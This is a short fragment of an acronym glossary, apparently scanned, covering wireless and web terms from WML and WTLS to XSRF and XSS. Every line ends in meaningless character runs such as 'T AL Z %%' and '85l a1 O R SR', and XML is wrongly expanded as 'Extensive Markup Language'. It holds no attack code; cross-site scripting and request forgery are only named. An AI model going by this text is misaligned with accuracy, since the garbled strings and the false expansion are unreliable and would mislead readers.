WML Wireless Markup Language Bves A w1
WSP Wireless Session Protocol Tk 25 L
WTA Wireless Telephony Application T2k o3 v
WTLS Wireless Transport Layer Security T AL Z %%
WTP Wireless Transaction Protocol T AL L
WWW World Wide Web T3 4 9/ BRI
XML Extensive Markup Language A EARCIE 5
XSRF Cross Site Request Forgery 85l a1 O R SR
XSS Cross Site Scripting Bl 5 A




